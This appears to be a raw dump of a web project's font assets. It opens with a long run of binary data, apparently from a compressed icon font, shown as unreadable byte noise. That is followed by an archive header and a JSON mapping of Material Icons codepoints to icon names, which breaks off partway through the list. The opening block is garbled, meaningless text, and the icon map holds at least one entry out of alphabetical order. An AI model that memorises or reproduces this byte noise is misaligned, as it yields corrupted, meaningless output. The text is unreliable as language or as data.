da{p#Wy\DzℎO>%yNYzYs_/JaIo`V9 C,^H+"0S>nܑ>7 / .}!}+ v9Y? !{Pxs@N8#7#pߤQFQFt,S0+p d>C%LGOq*2Ω+e\ bL&ɤ~Ѹ)0FȤΊxIN닅2BpB&}-DL܌I&+bJ&se /,AYLX ')LVXo2rLz`Le g c:pLS"AH)Pk|q2[cL 4\uKdJgD)+2e˵ʘNB?wY0uҢ!<=CA^zA4xw#Lq8i> ߀X 3& jqAC:siu:d?fjٍeX?s̼Ղ ["v +KᲶduE3/+1{ʬ΃X!& m-sD潡̦\KA>X4jA/e<$#5Nm]@ov=NZY2\ R[`f0C2`;֑E2G ߱hx'sF9Q|dceNgCcг3e2g-ʜˆI2f}$PP`/)"sM>FSɞfp=\`pI2gB0Gue| X&O9y~̌UN؅2o4`. 'ۇ>  2b̗2_+̷b r ?sU?b@yaa"ec:Y}ʲɚlv#nȦ\FElz`>jluWJ%q[aPo;6)MuF_}qHE!POHmu6ym eŁ{ws*B֫67|o~8%@A߃B[6AGzѲgv fߕ^t+p^'e{ Ų9pX6, ɆӇWG|uA;]_ ?.5 rodB J?ˈjJʘ)=fd( md&āl\v KƓ d'ϲSz.gPwBuĒ8 Do5N>3 ,FLWt@",%x$;lM8/B@.ȏ~ ˀ, . w[Zdy`Ej3Z,W]m Խ&+>&`G7w7Ws:b`7;#93wB$߮={a.%?5z`-صdhE`NaW8 sA.D 1q'ANN5tE@odxٳi@} e/?eLeUG4v=}MM[u^ΉwI.;s/'#9~L?y=+ϋʾh1x,|=Q;vʾ͍n`eA8vtM}qoeCz-~'?Zo%b ּ۶m۶m۶m۶m۶m{vߛJ~D5*2}d(>[d,9pxTX9Xm9x69D,p!PA0L[gpLF0QX/R#^9JQ9jM9Z9q9F<,cFc9v(&9nMc939n9T9q2|ΔD7GF9EH|ܖSSF;ArPKNrxXrlx++rx-rIW*or+%ȕ˕Sz_ ZSz&FM=MuR ]76 >ˍV%rS,4ȷdܒ )ɠmܮ xߞv(r|`^;sjtJKWlf@Ӡ!3(Ƚ#ʽ}rߜr(<`3NU@CY egDȻ`6,\Ѓq9@ #=c<0<&2b)ȓ<Sc<-3yAgDɾ̎ 3g % {^'P򂨨 yaB /ZK+nKdYr0びHhN`WVW[3,+t=ᆼ1Fa/MmA["[ayߖ|GzwC.v@3bёI ) r,*>>Z>NyJ`Nאth2R\s 動@^ȗ+@MWq-1&|}|#7[apM]DCw|-eXX'?.~~@ WSE4_6y rM ./!iy׾6qPxc`d`aT``& f180%Ax}3_O6m' r,/V5 L`f)JL3OmmF|$.*_'D`o\xHFu%.rLRo.U kC+51́6/!JN5^H <q0vjw#@t7Ki\8)Q5xc`f F X(Dpublic/assets/fonts/material/MaterialIcons-Regular.ijmap.txt000060400000067435151724235760020273 0ustar00{"icons":{"e84d":{"name":"3d Rotation"},"eb3b":{"name":"Ac Unit"},"e190":{"name":"Access Alarm"},"e191":{"name":"Access Alarms"},"e192":{"name":"Access Time"},"e84e":{"name":"Accessibility"},"e914":{"name":"Accessible"},"e84f":{"name":"Account Balance"},"e850":{"name":"Account Balance Wallet"},"e851":{"name":"Account Box"},"e853":{"name":"Account Circle"},"e60e":{"name":"Adb"},"e145":{"name":"Add"},"e439":{"name":"Add A Photo"},"e193":{"name":"Add Alarm"},"e003":{"name":"Add Alert"},"e146":{"name":"Add Box"},"e147":{"name":"Add Circle"},"e148":{"name":"Add Circle Outline"},"e567":{"name":"Add Location"},"e854":{"name":"Add Shopping Cart"},"e39d":{"name":"Add To Photos"},"e05c":{"name":"Add To Queue"},"e39e":{"name":"Adjust"},"e630":{"name":"Airline Seat Flat"},"e631":{"name":"Airline Seat Flat Angled"},"e632":{"name":"Airline Seat Individual Suite"},"e633":{"name":"Airline Seat Legroom Extra"},"e634":{"name":"Airline Seat Legroom Normal"},"e635":{"name":"Airline Seat Legroom Reduced"},"e636":{"name":"Airline Seat Recline Extra"},"e637":{"name":"Airline Seat Recline Normal"},"e195":{"name":"Airplanemode Active"},"e194":{"name":"Airplanemode Inactive"},"e055":{"name":"Airplay"},"eb3c":{"name":"Airport Shuttle"},"e855":{"name":"Alarm"},"e856":{"name":"Alarm Add"},"e857":{"name":"Alarm Off"},"e858":{"name":"Alarm On"},"e019":{"name":"Album"},"eb3d":{"name":"All Inclusive"},"e90b":{"name":"All Out"},"e859":{"name":"Android"},"e85a":{"name":"Announcement"},"e5c3":{"name":"Apps"},"e798":{"name":"Water Drop"},"e149":{"name":"Archive"},"e5c4":{"name":"Arrow Back"},"e5db":{"name":"Arrow Downward"},"e5c5":{"name":"Arrow Drop Down"},"e5c6":{"name":"Arrow Drop Down Circle"},"e5c7":{"name":"Arrow Drop Up"},"e5c8":{"name":"Arrow Forward"},"e5d8":{"name":"Arrow Upward"},"e060":{"name":"Art Track"},"e85b":{"name":"Aspect Ratio"},"e85c":{"name":"Assessment"},"e85d":{"name":"Assignment"},"e85e":{"name":"Assignment Ind"},"e85f":{"name":"Assignment Late"},"e860":{"name":"Assignment Return"},"e861":{"name":"Assignment Returned"},"e862":{"name":"Assignment Turned In"},"e39f":{"name":"Assistant"},"e3a0":{"name":"Assistant Photo"},"e226":{"name":"Attach File"},"e227":{"name":"Attach Money"},"e2bc":{"name":"Attachment"},"e3a1":{"name":"Audiotrack"},"e863":{"name":"Autorenew"},"e01b":{"name":"Av Timer"},"e14a":{"name":"Backspace"},"e864":{"name":"Backup"},"e19c":{"name":"Battery Alert"},"e1a3":{"name":"Battery Charging Full"},"e1a4":{"name":"Battery Full"},"e1a5":{"name":"Battery Std"},"e1a6":{"name":"Battery Unknown"},"eb3e":{"name":"Beach Access"},"e52d":{"name":"Beenhere"},"e14b":{"name":"Block"},"e1a7":{"name":"Bluetooth"},"e60f":{"name":"Bluetooth Audio"},"e1a8":{"name":"Bluetooth Connected"},"e1a9":{"name":"Bluetooth Disabled"},"e1aa":{"name":"Bluetooth Searching"},"e3a2":{"name":"Blur Circular"},"e3a3":{"name":"Blur Linear"},"e3a4":{"name":"Blur Off"},"e3a5":{"name":"Blur On"},"e865":{"name":"Book"},"e866":{"name":"Bookmark"},"e867":{"name":"Bookmark Border"},"e228":{"name":"Border All"},"e229":{"name":"Border Bottom"},"e22a":{"name":"Border Clear"},"e22b":{"name":"Border Color"},"e22c":{"name":"Border Horizontal"},"e22d":{"name":"Border Inner"},"e22e":{"name":"Border Left"},"e22f":{"name":"Border Outer"},"e230":{"name":"Border Right"},"e231":{"name":"Border Style"},"e232":{"name":"Border Top"},"e233":{"name":"Border Vertical"},"e06b":{"name":"Branding Watermark"},"e3a6":{"name":"Brightness 1"},"e3a7":{"name":"Brightness 2"},"e3a8":{"name":"Brightness 3"},"e3a9":{"name":"Brightness 4"},"e3aa":{"name":"Brightness 5"},"e3ab":{"name":"Brightness 6"},"e3ac":{"name":"Brightness 7"},"e1ab":{"name":"Brightness Auto"},"e1ac":{"name":"Brightness High"},"e1ad":{"name":"Brightness Low"},"e1ae":{"name":"Brightness Medium"},"e3ad":{"name":"Broken Image"},"e3ae":{"name":"Brush"},"e6dd":{"name":"Bubble Chart"},"e868":{"name":"Bug Report"},"e869":{"name":"Build"},"e43c":{"name":"Burst Mode"},"e0af":{"name":"Business"},"eb3f":{"name":"Business Center"},"e86a":{"name":"Cached"},"e7e9":{"name":"Cake"},"e0b0":{"name":"Call"},"e0b1":{"name":"Call End"},"e0b2":{"name":"Call Made"},"e0b3":{"name":"Call Merge"},"e0b4":{"name":"Call Missed"},"e0e4":{"name":"Call Missed Outgoing"},"e0b5":{"name":"Call Received"},"e0b6":{"name":"Call Split"},"e06c":{"name":"Call To Action"},"e3af":{"name":"Camera"},"e3b0":{"name":"Camera Alt"},"e8fc":{"name":"Camera Enhance"},"e3b1":{"name":"Camera Front"},"e3b2":{"name":"Camera Rear"},"e3b3":{"name":"Camera Roll"},"e5c9":{"name":"Cancel"},"e8f6":{"name":"Card Giftcard"},"e8f7":{"name":"Card Membership"},"e8f8":{"name":"Card Travel"},"eb40":{"name":"Casino"},"e307":{"name":"Cast"},"e308":{"name":"Cast Connected"},"e3b4":{"name":"Center Focus Strong"},"e3b5":{"name":"Center Focus Weak"},"e86b":{"name":"Change History"},"e0b7":{"name":"Chat"},"e0ca":{"name":"Chat Bubble"},"e0cb":{"name":"Chat Bubble Outline"},"e5ca":{"name":"Check"},"e834":{"name":"Check Box"},"e835":{"name":"Check Box Outline Blank"},"e86c":{"name":"Check Circle"},"e5cb":{"name":"Chevron Left"},"e5cc":{"name":"Chevron Right"},"eb41":{"name":"Child Care"},"eb42":{"name":"Child Friendly"},"e86d":{"name":"Chrome Reader Mode"},"e86e":{"name":"Class"},"e14c":{"name":"Clear"},"e0b8":{"name":"Clear All"},"e5cd":{"name":"Close"},"e01c":{"name":"Closed Caption"},"e2bd":{"name":"Cloud"},"e2be":{"name":"Cloud Circle"},"e2bf":{"name":"Cloud Done"},"e2c0":{"name":"Cloud Download"},"e2c1":{"name":"Cloud Off"},"e2c2":{"name":"Cloud Queue"},"e2c3":{"name":"Cloud Upload"},"e86f":{"name":"Code"},"e3b6":{"name":"Collections"},"e431":{"name":"Collections Bookmark"},"e3b7":{"name":"Color Lens"},"e3b8":{"name":"Colorize"},"e0b9":{"name":"Comment"},"e3b9":{"name":"Compare"},"e915":{"name":"Compare Arrows"},"e30a":{"name":"Computer"},"e638":{"name":"Confirmation Number"},"e0d0":{"name":"Contact Mail"},"e0cf":{"name":"Contact Phone"},"e0ba":{"name":"Contacts"},"e14d":{"name":"Content Copy"},"e14e":{"name":"Content Cut"},"e14f":{"name":"Content Paste"},"e3ba":{"name":"Control Point"},"e3bb":{"name":"Control Point Duplicate"},"e90c":{"name":"Copyright"},"e150":{"name":"Create"},"e2cc":{"name":"Create New Folder"},"e870":{"name":"Credit Card"},"e3be":{"name":"Crop"},"e3bc":{"name":"Crop 16 9"},"e3bd":{"name":"Crop 3 2"},"e3bf":{"name":"Crop 5 4"},"e3c0":{"name":"Crop 7 5"},"e3c1":{"name":"Crop Din"},"e3c2":{"name":"Crop Free"},"e3c3":{"name":"Crop Landscape"},"e3c4":{"name":"Crop Original"},"e3c5":{"name":"Crop Portrait"},"e437":{"name":"Crop Rotate"},"e3c6":{"name":"Crop Square"},"e871":{"name":"Dashboard"},"e1af":{"name":"Data Usage"},"e916":{"name":"Date Range"},"e3c7":{"name":"Dehaze"},"e872":{"name":"Delete"},"e92b":{"name":"Delete Forever"},"e16c":{"name":"Delete Sweep"},"e873":{"name":"Description"},"e30b":{"name":"Desktop Mac"},"e30c":{"name":"Desktop Windows"},"e3c8":{"name":"Details"},"e30d":{"name":"Developer Board"},"e1b0":{"name":"Developer Mode"},"e335":{"name":"Device Hub"},"e1b1":{"name":"Devices"},"e337":{"name":"Devices Other"},"e0bb":{"name":"Dialer Sip"},"e0bc":{"name":"Dialpad"},"e52e":{"name":"Directions"},"e52f":{"name":"Directions Bike"},"e532":{"name":"Directions Boat"},"e530":{"name":"Directions Bus"},"e531":{"name":"Directions Car"},"e534":{"name":"Directions Railway"},"e566":{"name":"Directions Run"},"e533":{"name":"Directions Subway"},"e535":{"name":"Directions Transit"},"e536":{"name":"Directions Walk"},"e610":{"name":"Disc Full"},"e875":{"name":"Dns"},"e612":{"name":"Do Not Disturb"},"e611":{"name":"Do Not Disturb Alt"},"e643":{"name":"Do Not Disturb Off"},"e644":{"name":"Do Not Disturb On"},"e30e":{"name":"Dock"},"e7ee":{"name":"Domain"},"e876":{"name":"Done"},"e877":{"name":"Done All"},"e917":{"name":"Donut Large"},"e918":{"name":"Donut Small"},"e151":{"name":"Drafts"},"e25d":{"name":"Drag Handle"},"e613":{"name":"Drive Eta"},"e1b2":{"name":"Dvr"},"e3c9":{"name":"Edit"},"e568":{"name":"Edit Location"},"e8fb":{"name":"Eject"},"e0be":{"name":"Email"},"e63f":{"name":"Enhanced Encryption"},"e01d":{"name":"Equalizer"},"e000":{"name":"Error"},"e001":{"name":"Error Outline"},"e926":{"name":"Euro Symbol"},"e56d":{"name":"Ev Station"},"e878":{"name":"Event"},"e614":{"name":"Event Available"},"e615":{"name":"Event Busy"},"e616":{"name":"Event Note"},"e903":{"name":"Event Seat"},"e879":{"name":"Exit To App"},"e5ce":{"name":"Expand Less"},"e5cf":{"name":"Expand More"},"e01e":{"name":"Explicit"},"e87a":{"name":"Explore"},"e3ca":{"name":"Exposure"},"e3cb":{"name":"Exposure Neg 1"},"e3cc":{"name":"Exposure Neg 2"},"e3cd":{"name":"Exposure Plus 1"},"e3ce":{"name":"Exposure Plus 2"},"e3cf":{"name":"Exposure Zero"},"e87b":{"name":"Extension"},"e87c":{"name":"Face"},"e01f":{"name":"Fast Forward"},"e020":{"name":"Fast Rewind"},"e87d":{"name":"Favorite"},"e87e":{"name":"Favorite Border"},"e06d":{"name":"Featured Play List"},"e06e":{"name":"Featured Video"},"e87f":{"name":"Feedback"},"e05d":{"name":"Fiber Dvr"},"e061":{"name":"Fiber Manual Record"},"e05e":{"name":"Fiber New"},"e06a":{"name":"Fiber Pin"},"e062":{"name":"Fiber Smart Record"},"e2c4":{"name":"File Download"},"e2c6":{"name":"File Upload"},"e3d3":{"name":"Filter"},"e3d0":{"name":"Filter 1"},"e3d1":{"name":"Filter 2"},"e3d2":{"name":"Filter 3"},"e3d4":{"name":"Filter 4"},"e3d5":{"name":"Filter 5"},"e3d6":{"name":"Filter 6"},"e3d7":{"name":"Filter 7"},"e3d8":{"name":"Filter 8"},"e3d9":{"name":"Filter 9"},"e3da":{"name":"Filter 9 Plus"},"e3db":{"name":"Filter B And W"},"e3dc":{"name":"Filter Center Focus"},"e3dd":{"name":"Filter Drama"},"e3de":{"name":"Filter Frames"},"e3df":{"name":"Filter Hdr"},"e152":{"name":"Filter List"},"e3e0":{"name":"Filter None"},"e3e2":{"name":"Filter Tilt Shift"},"e3e3":{"name":"Filter Vintage"},"e880":{"name":"Find In Page"},"e881":{"name":"Find Replace"},"e90d":{"name":"Fingerprint"},"e5dc":{"name":"First Page"},"eb43":{"name":"Fitness Center"},"e153":{"name":"Flag"},"e3e4":{"name":"Flare"},"e3e5":{"name":"Flash Auto"},"e3e6":{"name":"Flash Off"},"e3e7":{"name":"Flash On"},"e539":{"name":"Flight"},"e904":{"name":"Flight Land"},"e905":{"name":"Flight Takeoff"},"e3e8":{"name":"Flip"},"e882":{"name":"Flip To Back"},"e883":{"name":"Flip To Front"},"e2c7":{"name":"Folder"},"e2c8":{"name":"Folder Open"},"e2c9":{"name":"Folder Shared"},"e617":{"name":"Folder Special"},"e167":{"name":"Font Download"},"e234":{"name":"Format Align Center"},"e235":{"name":"Format Align Justify"},"e236":{"name":"Format Align Left"},"e237":{"name":"Format Align Right"},"e238":{"name":"Format Bold"},"e239":{"name":"Format Clear"},"e23a":{"name":"Format Color Fill"},"e23b":{"name":"Format Color Reset"},"e23c":{"name":"Format Color Text"},"e23d":{"name":"Format Indent Decrease"},"e23e":{"name":"Format Indent Increase"},"e23f":{"name":"Format Italic"},"e240":{"name":"Format Line Spacing"},"e241":{"name":"Format List Bulleted"},"e242":{"name":"Format List Numbered"},"e243":{"name":"Format Paint"},"e244":{"name":"Format Quote"},"e25e":{"name":"Format Shapes"},"e245":{"name":"Format Size"},"e246":{"name":"Format Strikethrough"},"e247":{"name":"Format Textdirection L To R"},"e248":{"name":"Format Textdirection R To L"},"e249":{"name":"Format Underlined"},"e0bf":{"name":"Forum"},"e154":{"name":"Forward"},"e056":{"name":"Forward 10"},"e057":{"name":"Forward 30"},"e058":{"name":"Forward 5"},"eb44":{"name":"Free Breakfast"},"e5d0":{"name":"Fullscreen"},"e5d1":{"name":"Fullscreen Exit"},"e24a":{"name":"Functions"},"e927":{"name":"G Translate"},"e30f":{"name":"Gamepad"},"e021":{"name":"Games"},"e90e":{"name":"Gavel"},"e155":{"name":"Gesture"},"e884":{"name":"Get App"},"e908":{"name":"Gif"},"eb45":{"name":"Golf Course"},"e1b3":{"name":"Gps Fixed"},"e1b4":{"name":"Gps Not Fixed"},"e1b5":{"name":"Gps Off"},"e885":{"name":"Grade"},"e3e9":{"name":"Gradient"},"e3ea":{"name":"Grain"},"e1b8":{"name":"Graphic Eq"},"e3eb":{"name":"Grid Off"},"e3ec":{"name":"Grid On"},"e7ef":{"name":"Group"},"e7f0":{"name":"Group Add"},"e886":{"name":"Group Work"},"e052":{"name":"Hd"},"e3ed":{"name":"Hdr Off"},"e3ee":{"name":"Hdr On"},"e3f1":{"name":"Hdr Strong"},"e3f2":{"name":"Hdr Weak"},"e310":{"name":"Headset"},"e311":{"name":"Headset Mic"},"e3f3":{"name":"Healing"},"e023":{"name":"Hearing"},"e887":{"name":"Help"},"e8fd":{"name":"Help Outline"},"e024":{"name":"High Quality"},"e25f":{"name":"Highlight"},"e888":{"name":"Highlight Off"},"e889":{"name":"History"},"e88a":{"name":"Home"},"eb46":{"name":"Hot Tub"},"e53a":{"name":"Hotel"},"e88b":{"name":"Hourglass Empty"},"e88c":{"name":"Hourglass Full"},"e902":{"name":"Http"},"e88d":{"name":"Https"},"e3f4":{"name":"Image"},"e3f5":{"name":"Image Aspect Ratio"},"e0e0":{"name":"Import Contacts"},"e0c3":{"name":"Import Export"},"e912":{"name":"Important Devices"},"e156":{"name":"Inbox"},"e909":{"name":"Indeterminate Check Box"},"e88e":{"name":"Info"},"e88f":{"name":"Info Outline"},"e890":{"name":"Input"},"e24b":{"name":"Insert Chart"},"e24c":{"name":"Insert Comment"},"e24d":{"name":"Insert Drive File"},"e24e":{"name":"Insert Emoticon"},"e24f":{"name":"Insert Invitation"},"e250":{"name":"Insert Link"},"e251":{"name":"Insert Photo"},"e891":{"name":"Invert Colors"},"e0c4":{"name":"Invert Colors Off"},"e3f6":{"name":"Iso"},"e312":{"name":"Keyboard"},"e313":{"name":"Keyboard Arrow Down"},"e314":{"name":"Keyboard Arrow Left"},"e315":{"name":"Keyboard Arrow Right"},"e316":{"name":"Keyboard Arrow Up"},"e317":{"name":"Keyboard Backspace"},"e318":{"name":"Keyboard Capslock"},"e31a":{"name":"Keyboard Hide"},"e31b":{"name":"Keyboard Return"},"e31c":{"name":"Keyboard Tab"},"e31d":{"name":"Keyboard Voice"},"eb47":{"name":"Kitchen"},"e892":{"name":"Label"},"e893":{"name":"Label Outline"},"e3f7":{"name":"Landscape"},"e894":{"name":"Language"},"e31e":{"name":"Laptop"},"e31f":{"name":"Laptop Chromebook"},"e320":{"name":"Laptop Mac"},"e321":{"name":"Laptop Windows"},"e5dd":{"name":"Last Page"},"e895":{"name":"Launch"},"e53b":{"name":"Layers"},"e53c":{"name":"Layers Clear"},"e3f8":{"name":"Leak Add"},"e3f9":{"name":"Leak Remove"},"e3fa":{"name":"Lens"},"e02e":{"name":"Library Add"},"e02f":{"name":"Library Books"},"e030":{"name":"Library Music"},"e90f":{"name":"Lightbulb Outline"},"e919":{"name":"Line Style"},"e91a":{"name":"Line Weight"},"e260":{"name":"Linear Scale"},"e157":{"name":"Link"},"e438":{"name":"Linked Camera"},"e896":{"name":"List"},"e0c6":{"name":"Live Help"},"e639":{"name":"Live Tv"},"e53f":{"name":"Local Activity"},"e53d":{"name":"Local Airport"},"e53e":{"name":"Local Atm"},"e540":{"name":"Local Bar"},"e541":{"name":"Local Cafe"},"e542":{"name":"Local Car Wash"},"e543":{"name":"Local Convenience Store"},"e556":{"name":"Local Dining"},"e544":{"name":"Local Drink"},"e545":{"name":"Local Florist"},"e546":{"name":"Local Gas Station"},"e547":{"name":"Local Grocery Store"},"e548":{"name":"Local Hospital"},"e549":{"name":"Local Hotel"},"e54a":{"name":"Local Laundry Service"},"e54b":{"name":"Local Library"},"e54c":{"name":"Local Mall"},"e54d":{"name":"Local Movies"},"e54e":{"name":"Local Offer"},"e54f":{"name":"Local Parking"},"e550":{"name":"Local Pharmacy"},"e551":{"name":"Local Phone"},"e552":{"name":"Local Pizza"},"e553":{"name":"Local Play"},"e554":{"name":"Local Post Office"},"e555":{"name":"Local Printshop"},"e557":{"name":"Local See"},"e558":{"name":"Local Shipping"},"e559":{"name":"Local Taxi"},"e7f1":{"name":"Location City"},"e1b6":{"name":"Location Disabled"},"e0c7":{"name":"Location Off"},"e0c8":{"name":"Location On"},"e1b7":{"name":"Location Searching"},"e897":{"name":"Lock"},"e898":{"name":"Lock Open"},"e899":{"name":"Lock Outline"},"e3fc":{"name":"Looks"},"e3fb":{"name":"Looks 3"},"e3fd":{"name":"Looks 4"},"e3fe":{"name":"Looks 5"},"e3ff":{"name":"Looks 6"},"e400":{"name":"Looks One"},"e401":{"name":"Looks Two"},"e028":{"name":"Loop"},"e402":{"name":"Loupe"},"e16d":{"name":"Low Priority"},"e89a":{"name":"Loyalty"},"e158":{"name":"Mail"},"e0e1":{"name":"Mail Outline"},"e55b":{"name":"Map"},"e159":{"name":"Markunread"},"e89b":{"name":"Markunread Mailbox"},"e322":{"name":"Memory"},"e5d2":{"name":"Menu"},"e252":{"name":"Merge Type"},"e0c9":{"name":"Message"},"e029":{"name":"Mic"},"e02a":{"name":"Mic None"},"e02b":{"name":"Mic Off"},"e618":{"name":"Mms"},"e253":{"name":"Mode Comment"},"e254":{"name":"Mode Edit"},"e263":{"name":"Monetization On"},"e25c":{"name":"Money Off"},"e403":{"name":"Monochrome Photos"},"e7f2":{"name":"Mood"},"e7f3":{"name":"Mood Bad"},"e619":{"name":"More"},"e5d3":{"name":"More Horiz"},"e5d4":{"name":"More Vert"},"e91b":{"name":"Motorcycle"},"e323":{"name":"Mouse"},"e168":{"name":"Move To Inbox"},"e02c":{"name":"Movie"},"e404":{"name":"Movie Creation"},"e43a":{"name":"Movie Filter"},"e6df":{"name":"Multiline Chart"},"e405":{"name":"Music Note"},"e063":{"name":"Music Video"},"e55c":{"name":"My Location"},"e406":{"name":"Nature"},"e407":{"name":"Nature People"},"e408":{"name":"Navigate Before"},"e409":{"name":"Navigate Next"},"e55d":{"name":"Navigation"},"e569":{"name":"Near Me"},"e1b9":{"name":"Network Cell"},"e640":{"name":"Network Check"},"e61a":{"name":"Network Locked"},"e1ba":{"name":"Network Wifi"},"e031":{"name":"New Releases"},"e16a":{"name":"Next Week"},"e1bb":{"name":"Nfc"},"e641":{"name":"No Encryption"},"e0cc":{"name":"No Sim"},"e033":{"name":"Not Interested"},"e06f":{"name":"Note"},"e89c":{"name":"Note Add"},"e7f4":{"name":"Notifications"},"e7f7":{"name":"Notifications Active"},"e7f5":{"name":"Notifications None"},"e7f6":{"name":"Notifications Off"},"e7f8":{"name":"Notifications Paused"},"e90a":{"name":"Offline Pin"},"e63a":{"name":"Ondemand Video"},"e91c":{"name":"Opacity"},"e89d":{"name":"Open In Browser"},"e89e":{"name":"Open In New"},"e89f":{"name":"Open With"},"e7f9":{"name":"Pages"},"e8a0":{"name":"Pageview"},"e40a":{"name":"Palette"},"e925":{"name":"Pan Tool"},"e40b":{"name":"Panorama"},"e40c":{"name":"Panorama Fish Eye"},"e40d":{"name":"Panorama Horizontal"},"e40e":{"name":"Panorama Vertical"},"e40f":{"name":"Panorama Wide Angle"},"e7fa":{"name":"Party Mode"},"e034":{"name":"Pause"},"e035":{"name":"Pause Circle Filled"},"e036":{"name":"Pause Circle Outline"},"e8a1":{"name":"Payment"},"e7fb":{"name":"People"},"e7fc":{"name":"People Outline"},"e8a2":{"name":"Perm Camera Mic"},"e8a3":{"name":"Perm Contact Calendar"},"e8a4":{"name":"Perm Data Setting"},"e8a5":{"name":"Perm Device Information"},"e8a6":{"name":"Perm Identity"},"e8a7":{"name":"Perm Media"},"e8a8":{"name":"Perm Phone Msg"},"e8a9":{"name":"Perm Scan Wifi"},"e7fd":{"name":"Person"},"e7fe":{"name":"Person Add"},"e7ff":{"name":"Person Outline"},"e55a":{"name":"Person Pin"},"e56a":{"name":"Person Pin Circle"},"e63b":{"name":"Personal Video"},"e91d":{"name":"Pets"},"e0cd":{"name":"Phone"},"e324":{"name":"Phone Android"},"e61b":{"name":"Phone Bluetooth Speaker"},"e61c":{"name":"Phone Forwarded"},"e61d":{"name":"Phone In Talk"},"e325":{"name":"Phone Iphone"},"e61e":{"name":"Phone Locked"},"e61f":{"name":"Phone Missed"},"e620":{"name":"Phone Paused"},"e326":{"name":"Phonelink"},"e0db":{"name":"Phonelink Erase"},"e0dc":{"name":"Phonelink Lock"},"e327":{"name":"Phonelink Off"},"e0dd":{"name":"Phonelink Ring"},"e0de":{"name":"Phonelink Setup"},"e410":{"name":"Photo"},"e411":{"name":"Photo Album"},"e412":{"name":"Photo Camera"},"e43b":{"name":"Photo Filter"},"e413":{"name":"Photo Library"},"e432":{"name":"Photo Size Select Actual"},"e433":{"name":"Photo Size Select Large"},"e434":{"name":"Photo Size Select Small"},"e415":{"name":"Picture As Pdf"},"e8aa":{"name":"Picture In Picture"},"e911":{"name":"Picture In Picture Alt"},"e6c4":{"name":"Pie Chart"},"e6c5":{"name":"Pie Chart Outlined"},"e55e":{"name":"Pin Drop"},"e55f":{"name":"Place"},"e037":{"name":"Play Arrow"},"e038":{"name":"Play Circle Filled"},"e039":{"name":"Play Circle Outline"},"e906":{"name":"Play For Work"},"e03b":{"name":"Playlist Add"},"e065":{"name":"Playlist Add Check"},"e05f":{"name":"Playlist Play"},"e800":{"name":"Plus One"},"e801":{"name":"Poll"},"e8ab":{"name":"Polymer"},"eb48":{"name":"Pool"},"e0ce":{"name":"Portable Wifi Off"},"e416":{"name":"Portrait"},"e63c":{"name":"Power"},"e336":{"name":"Power Input"},"e8ac":{"name":"Power Settings New"},"e91e":{"name":"Pregnant Woman"},"e0df":{"name":"Present To All"},"e8ad":{"name":"Print"},"e645":{"name":"Priority High"},"e80b":{"name":"Public"},"e255":{"name":"Publish"},"e8ae":{"name":"Query Builder"},"e8af":{"name":"Question Answer"},"e03c":{"name":"Queue"},"e03d":{"name":"Queue Music"},"e066":{"name":"Queue Play Next"},"e03e":{"name":"Radio"},"e837":{"name":"Radio Button Checked"},"e836":{"name":"Radio Button Unchecked"},"e560":{"name":"Rate Review"},"e8b0":{"name":"Receipt"},"e03f":{"name":"Recent Actors"},"e91f":{"name":"Record Voice Over"},"e8b1":{"name":"Redeem"},"e15a":{"name":"Redo"},"e5d5":{"name":"Refresh"},"e15b":{"name":"Remove"},"e15c":{"name":"Remove Circle"},"e15d":{"name":"Remove Circle Outline"},"e067":{"name":"Remove From Queue"},"e417":{"name":"Remove Red Eye"},"e928":{"name":"Remove Shopping Cart"},"e8fe":{"name":"Reorder"},"e040":{"name":"Repeat"},"e041":{"name":"Repeat One"},"e042":{"name":"Replay"},"e059":{"name":"Replay 10"},"e05a":{"name":"Replay 30"},"e05b":{"name":"Replay 5"},"e15e":{"name":"Reply"},"e15f":{"name":"Reply All"},"e160":{"name":"Report"},"e8b2":{"name":"Report Problem"},"e56c":{"name":"Restaurant"},"e561":{"name":"Restaurant Menu"},"e8b3":{"name":"Restore"},"e929":{"name":"Restore Page"},"e0d1":{"name":"Ring Volume"},"e8b4":{"name":"Room"},"eb49":{"name":"Room Service"},"e418":{"name":"Rotate 90 Degrees Ccw"},"e419":{"name":"Rotate Left"},"e41a":{"name":"Rotate Right"},"e920":{"name":"Rounded Corner"},"e328":{"name":"Router"},"e921":{"name":"Rowing"},"e0e5":{"name":"Rss Feed"},"e642":{"name":"Rv Hookup"},"e562":{"name":"Satellite"},"e161":{"name":"Save"},"e329":{"name":"Scanner"},"e8b5":{"name":"Schedule"},"e80c":{"name":"School"},"e1be":{"name":"Screen Lock Landscape"},"e1bf":{"name":"Screen Lock Portrait"},"e1c0":{"name":"Screen Lock Rotation"},"e1c1":{"name":"Screen Rotation"},"e0e2":{"name":"Screen Share"},"e623":{"name":"Sd Card"},"e1c2":{"name":"Sd Storage"},"e8b6":{"name":"Search"},"e32a":{"name":"Security"},"e162":{"name":"Select All"},"e163":{"name":"Send"},"e811":{"name":"Sentiment Dissatisfied"},"e812":{"name":"Sentiment Neutral"},"e813":{"name":"Sentiment Satisfied"},"e814":{"name":"Sentiment Very Dissatisfied"},"e815":{"name":"Sentiment Very Satisfied"},"e8b8":{"name":"Settings"},"e8b9":{"name":"Settings Applications"},"e8ba":{"name":"Settings Backup Restore"},"e8bb":{"name":"Settings Bluetooth"},"e8bd":{"name":"Settings Brightness"},"e8bc":{"name":"Settings Cell"},"e8be":{"name":"Settings Ethernet"},"e8bf":{"name":"Settings Input Antenna"},"e8c0":{"name":"Settings Input Component"},"e8c1":{"name":"Settings Input Composite"},"e8c2":{"name":"Settings Input Hdmi"},"e8c3":{"name":"Settings Input Svideo"},"e8c4":{"name":"Settings Overscan"},"e8c5":{"name":"Settings Phone"},"e8c6":{"name":"Settings Power"},"e8c7":{"name":"Settings Remote"},"e1c3":{"name":"Settings System Daydream"},"e8c8":{"name":"Settings Voice"},"e80d":{"name":"Share"},"e8c9":{"name":"Shop"},"e8ca":{"name":"Shop Two"},"e8cb":{"name":"Shopping Basket"},"e8cc":{"name":"Shopping Cart"},"e261":{"name":"Short Text"},"e6e1":{"name":"Show Chart"},"e043":{"name":"Shuffle"},"e1c8":{"name":"Signal Cellular 4 Bar"},"e1cd":{"name":"Signal Cellular Connected No Internet 4 Bar"},"e1ce":{"name":"Signal Cellular No Sim"},"e1cf":{"name":"Signal Cellular Null"},"e1d0":{"name":"Signal Cellular Off"},"e1d8":{"name":"Signal Wifi 4 Bar"},"e1d9":{"name":"Signal Wifi 4 Bar Lock"},"e1da":{"name":"Signal Wifi Off"},"e32b":{"name":"Sim Card"},"e624":{"name":"Sim Card Alert"},"e044":{"name":"Skip Next"},"e045":{"name":"Skip Previous"},"e41b":{"name":"Slideshow"},"e068":{"name":"Slow Motion 